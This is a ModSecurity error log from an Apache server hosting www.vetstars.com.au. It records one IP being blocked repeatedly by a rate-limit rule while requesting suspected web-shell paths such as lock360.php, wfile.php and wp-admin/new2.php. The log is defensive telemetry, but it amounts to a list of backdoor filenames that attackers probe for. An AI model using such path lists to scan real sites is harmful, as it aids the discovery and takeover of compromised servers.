[Sun Dec 07 22:57:34.702204 2025] [:error] [pid 5222:tid 5240] [client 4.190.185.215:46248] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pent.php"] [unique_id "aTWV3t8FU0HgkYWmt7tTygAAAE4"]
[Sun Dec 07 22:57:35.970442 2025] [:error] [pid 9610:tid 9630] [client 4.190.185.215:37742] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pent.php"] [unique_id "aTWV38Z4Zl9G0UhQ7w1TuQAAARI"]
[Sun Dec 07 22:57:36.678093 2025] [:error] [pid 9610:tid 9635] [client 4.190.185.215:46256] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pent.php"] [unique_id "aTWV4MZ4Zl9G0UhQ7w1TvAAAARc"]
[Sun Dec 07 22:57:37.106760 2025] [:error] [pid 9610:tid 9626] [client 4.190.185.215:5232] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pent.php"] [unique_id "aTWV4cZ4Zl9G0UhQ7w1TvQAAAQ4"]
[Sun Dec 07 22:57:37.891769 2025] [:error] [pid 9610:tid 9621] [client 4.190.185.215:5201] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wfile.php"] [unique_id "aTWV4cZ4Zl9G0UhQ7w1TwAAAAQk"]
[Sun Dec 07 22:57:38.861724 2025] [:error] [pid 9610:tid 9629] [client 4.190.185.215:31476] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wfile.php"] [unique_id "aTWV4sZ4Zl9G0UhQ7w1TwgAAARE"]
[Sun Dec 07 22:57:39.339730 2025] [:error] [pid 5222:tid 5247] [client 4.190.185.215:31471] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wfile.php"] [unique_id "aTWV498FU0HgkYWmt7tT0wAAAFU"]
[Sun Dec 07 22:57:40.353573 2025] [:error] [pid 5222:tid 5230] [client 4.190.185.215:44613] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wfile.php"] [unique_id "aTWV5N8FU0HgkYWmt7tT2AAAAEQ"]
[Sun Dec 07 22:57:41.352808 2025] [:error] [pid 5222:tid 5226] [client 4.190.185.215:33377] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hexx.php"] [unique_id "aTWV5d8FU0HgkYWmt7tT3AAAAEA"]
[Sun Dec 07 22:57:41.943415 2025] [:error] [pid 9961:tid 9987] [client 4.190.185.215:44392] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hexx.php"] [unique_id "aTWV5WQdnfbgcnzr89KBxgAAAVg"]
[Sun Dec 07 22:57:42.605288 2025] [:error] [pid 5222:tid 5229] [client 4.190.185.215:44370] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hexx.php"] [unique_id "aTWV5t8FU0HgkYWmt7tT3wAAAEM"]
[Sun Dec 07 22:57:43.388204 2025] [:error] [pid 9610:tid 9627] [client 4.190.185.215:44969] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hexx.php"] [unique_id "aTWV58Z4Zl9G0UhQ7w1TyAAAAQ8"]
[Sun Dec 07 22:57:43.983512 2025] [:error] [pid 9961:tid 9964] [client 4.190.185.215:29570] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wrt.php"] [unique_id "aTWV52Qdnfbgcnzr89KB1AAAAUE"]
[Sun Dec 07 22:57:44.799594 2025] [:error] [pid 5312:tid 5329] [client 4.190.185.215:44378] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wrt.php"] [unique_id "aTWV6OaM49rasZGg_o4V8QAAAA8"]
[Sun Dec 07 22:57:45.518605 2025] [:error] [pid 5312:tid 5333] [client 4.190.185.215:38332] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wrt.php"] [unique_id "aTWV6eaM49rasZGg_o4V8gAAABM"]
[Sun Dec 07 22:57:46.080628 2025] [:error] [pid 5312:tid 5327] [client 4.190.185.215:29629] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wrt.php"] [unique_id "aTWV6uaM49rasZGg_o4V9AAAAA0"]
[Sun Dec 07 22:57:46.936975 2025] [:error] [pid 5222:tid 5234] [client 4.190.185.215:33390] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eauu.php"] [unique_id "aTWV6t8FU0HgkYWmt7tT5QAAAEg"]
[Sun Dec 07 22:57:47.437612 2025] [:error] [pid 5312:tid 5336] [client 4.190.185.215:44628] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eauu.php"] [unique_id "aTWV6-aM49rasZGg_o4V9gAAABY"]
[Sun Dec 07 22:57:48.071483 2025] [:error] [pid 5222:tid 5240] [client 4.190.185.215:44368] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eauu.php"] [unique_id "aTWV7N8FU0HgkYWmt7tT6AAAAE4"]
[Sun Dec 07 22:57:48.886251 2025] [:error] [pid 5224:tid 5295] [client 4.190.185.215:37756] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eauu.php"] [unique_id "aTWV7PAAkbWt7RJBoF_9WwAAAM4"]
[Sun Dec 07 22:57:49.445955 2025] [:error] [pid 9961:tid 9979] [client 4.190.185.215:44411] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1%25.php"] [unique_id "aTWV7WQdnfbgcnzr89KB_gAAAVA"]
[Sun Dec 07 22:57:50.005704 2025] [:error] [pid 5223:tid 5261] [client 4.190.185.215:37729] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1%25.php"] [unique_id "aTWV7voRJa-T0FB0DNr_UgAAAIc"]
[Sun Dec 07 22:57:50.634703 2025] [:error] [pid 5312:tid 5335] [client 4.190.185.215:37734] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1%25.php"] [unique_id "aTWV7uaM49rasZGg_o4V-QAAABU"]
[Sun Dec 07 22:57:51.519138 2025] [:error] [pid 5312:tid 5315] [client 4.190.185.215:33353] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1%25.php"] [unique_id "aTWV7-aM49rasZGg_o4V_AAAAAE"]
[Sun Dec 07 22:57:52.242727 2025] [:error] [pid 5222:tid 5235] [client 4.190.185.215:44615] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/444.php"] [unique_id "aTWV8N8FU0HgkYWmt7tT8QAAAEk"]
[Sun Dec 07 22:59:06.735194 2025] [:error] [pid 5224:tid 5289] [client 4.190.185.215:5867] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock360.php"] [unique_id "aTWWOvAAkbWt7RJBoF_93gAAAMg"]
[Sun Dec 07 22:59:08.220660 2025] [:error] [pid 5312:tid 5336] [client 4.190.185.215:46240] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock360.php"] [unique_id "aTWWPOaM49rasZGg_o4WSgAAABY"]
[Sun Dec 07 22:59:08.713217 2025] [:error] [pid 5312:tid 5328] [client 4.190.185.215:45802] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock360.php"] [unique_id "aTWWPOaM49rasZGg_o4WSwAAAA4"]
[Sun Dec 07 22:59:09.492306 2025] [:error] [pid 9961:tid 9981] [client 4.190.185.215:5761] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock360.php"] [unique_id "aTWWPWQdnfbgcnzr89KCkgAAAVI"]
[Sun Dec 07 22:59:10.172991 2025] [:error] [pid 5222:tid 5233] [client 4.190.185.215:29591] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aTWWPt8FU0HgkYWmt7tUMgAAAEc"]
[Sun Dec 07 22:59:11.153851 2025] [:error] [pid 5222:tid 5230] [client 4.190.185.215:37700] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aTWWP98FU0HgkYWmt7tUNAAAAEQ"]
[Sun Dec 07 22:59:12.109273 2025] [:error] [pid 9610:tid 9635] [client 4.190.185.215:33384] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aTWWQMZ4Zl9G0UhQ7w1UEwAAARc"]
[Sun Dec 07 22:59:13.221862 2025] [:error] [pid 5312:tid 5316] [client 4.190.185.215:46226] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aTWWQeaM49rasZGg_o4WTgAAAAI"]
[Sun Dec 07 22:59:13.786268 2025] [:error] [pid 9610:tid 9631] [client 4.190.185.215:46234] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/csv.php"] [unique_id "aTWWQcZ4Zl9G0UhQ7w1UFAAAARM"]
[Sun Dec 07 22:59:15.378256 2025] [:error] [pid 5312:tid 5320] [client 4.190.185.215:33395] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/csv.php"] [unique_id "aTWWQ-aM49rasZGg_o4WUgAAAAY"]
[Sun Dec 07 22:59:16.247878 2025] [:error] [pid 5223:tid 5254] [client 4.190.185.215:43244] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/csv.php"] [unique_id "aTWWRPoRJa-T0FB0DNr_jgAAAIA"]
[Sun Dec 07 22:59:17.374140 2025] [:error] [pid 5224:tid 5296] [client 4.190.185.215:38289] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/csv.php"] [unique_id "aTWWRfAAkbWt7RJBoF_96wAAAM8"]
[Sun Dec 07 22:59:18.315710 2025] [:error] [pid 9610:tid 9621] [client 4.190.185.215:39170] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/new2.php"] [unique_id "aTWWRsZ4Zl9G0UhQ7w1UFwAAAQk"]
[Sun Dec 07 22:59:20.086162 2025] [:error] [pid 9610:tid 9618] [client 4.190.185.215:39211] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/new2.php"] [unique_id "aTWWSMZ4Zl9G0UhQ7w1UGgAAAQY"]
[Sun Dec 07 22:59:20.642862 2025] [:error] [pid 5222:tid 5240] [client 4.190.185.215:33348] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/new2.php"] [unique_id "aTWWSN8FU0HgkYWmt7tUOgAAAE4"]
[Sun Dec 07 22:59:22.820272 2025] [:error] [pid 9961:tid 9984] [client 4.190.185.215:46211] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/new2.php"] [unique_id "aTWWSmQdnfbgcnzr89KClQAAAVU"]
[Sun Dec 07 22:59:24.118201 2025] [:error] [pid 9610:tid 9633] [client 4.190.185.215:32072] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ooj.php"] [unique_id "aTWWTMZ4Zl9G0UhQ7w1UHQAAARU"]
[Sun Dec 07 22:59:25.145380 2025] [:error] [pid 9610:tid 9617] [client 4.190.185.215:38308] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ooj.php"] [unique_id "aTWWTcZ4Zl9G0UhQ7w1UIgAAAQU"]
[Sun Dec 07 22:59:26.903231 2025] [:error] [pid 9610:tid 9635] [client 4.190.185.215:46262] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ooj.php"] [unique_id "aTWWTsZ4Zl9G0UhQ7w1UJAAAARc"]
[Sun Dec 07 22:59:29.983788 2025] [:error] [pid 5222:tid 5238] [client 4.190.185.215:43253] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ooj.php"] [unique_id "aTWWUd8FU0HgkYWmt7tUQAAAAEw"]
[Sun Dec 07 22:59:31.172350 2025] [:error] [pid 9610:tid 9630] [client 4.190.185.215:43479] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/filesss.php"] [unique_id "aTWWU8Z4Zl9G0UhQ7w1ULQAAARI"]
[Sun Dec 07 22:59:32.608487 2025] [:error] [pid 5224:tid 5300] [client 4.190.185.215:46231] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/filesss.php"] [unique_id "aTWWVPAAkbWt7RJBoF_97wAAANM"]
[Sun Dec 07 22:59:33.447884 2025] [:error] [pid 9610:tid 9634] [client 4.190.185.215:5817] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/filesss.php"] [unique_id "aTWWVcZ4Zl9G0UhQ7w1UMAAAARY"]
[Sun Dec 07 22:59:34.799876 2025] [:error] [pid 5224:tid 5293] [client 4.190.185.215:31433] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/filesss.php"] [unique_id "aTWWVvAAkbWt7RJBoF_98gAAAMw"]
[Sun Dec 07 22:59:35.701659 2025] [:error] [pid 5223:tid 5257] [client 4.190.185.215:32104] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3.php"] [unique_id "aTWWV_oRJa-T0FB0DNr_kAAAAIM"]
[Sun Dec 07 22:59:37.254117 2025] [:error] [pid 5312:tid 5317] [client 4.190.185.215:43206] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3.php"] [unique_id "aTWWWeaM49rasZGg_o4WXQAAAAM"]
[Sun Dec 07 22:59:40.034399 2025] [:error] [pid 5224:tid 5282] [client 4.190.185.215:44409] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3.php"] [unique_id "aTWWXPAAkbWt7RJBoF_9_AAAAME"]
[Sun Dec 07 22:59:41.282376 2025] [:error] [pid 5224:tid 5297] [client 4.190.185.215:39227] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3.php"] [unique_id "aTWWXfAAkbWt7RJBoF_9_QAAANA"]
[Sun Dec 07 22:59:43.736177 2025] [:error] [pid 9610:tid 9634] [client 4.190.185.215:46260] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/av.php.php"] [unique_id "aTWWX8Z4Zl9G0UhQ7w1UOAAAARY"]
[Sun Dec 07 22:59:44.362503 2025] [:error] [pid 5224:tid 5284] [client 4.190.185.215:43509] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/av.php.php"] [unique_id "aTWWYPAAkbWt7RJBoF_-AQAAAMM"]
[Sun Dec 07 22:59:45.469400 2025] [:error] [pid 5223:tid 5255] [client 4.190.185.215:5786] [client 4.190.185.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/av.php.php"] [unique_id "aTWWYfoRJa-T0FB0DNr_mAAAAIE"]
